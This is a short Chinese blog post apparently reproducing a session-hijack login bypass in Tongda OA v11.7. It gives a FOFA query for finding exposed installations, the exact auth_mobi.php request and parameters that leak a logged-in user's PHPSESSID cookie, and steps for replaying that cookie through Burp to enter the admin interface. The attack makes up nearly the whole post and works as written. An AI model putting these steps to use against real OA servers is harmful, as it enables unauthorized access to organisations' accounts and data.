通达OA v11.7 auth_mobi.php 在线用户登录漏洞

继续尝试访问：http://ip/mobile/auth_mobi.php?此时抓http://127.0.0.1/general/index.php 的包，把cookoie塞进去即可。接下来burp抓包。fofa:app=“通达OA”通达OA v11.7。

qq_36334672

936人浏览 · 2024-01-31 13:13:57

qq_36334672 · 2024-01-31 13:13:57 发布

影响版本

通达OA v11.7

网络空间测绘

fofa:app=“通达OA”
在这里插入图片描述

复现

继续尝试访问：http://ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
返回为空，那么F12，可以看到我们想要的cookie：
PHPSESSID=oqv12foj3rh5lrf2i7r9i4it31; path=/。接下来burp抓包。

此时抓http://127.0.0.1/general/index.php 的包，把cookoie塞进去即可。